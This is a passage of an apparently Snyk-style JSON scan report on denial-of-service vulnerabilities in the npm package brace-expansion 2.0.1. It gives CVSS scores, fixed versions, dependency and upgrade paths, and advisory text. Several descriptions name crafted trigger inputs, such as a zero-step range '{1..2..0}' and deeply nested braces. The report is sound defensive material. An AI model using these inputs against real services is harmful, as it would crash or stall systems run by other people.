"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
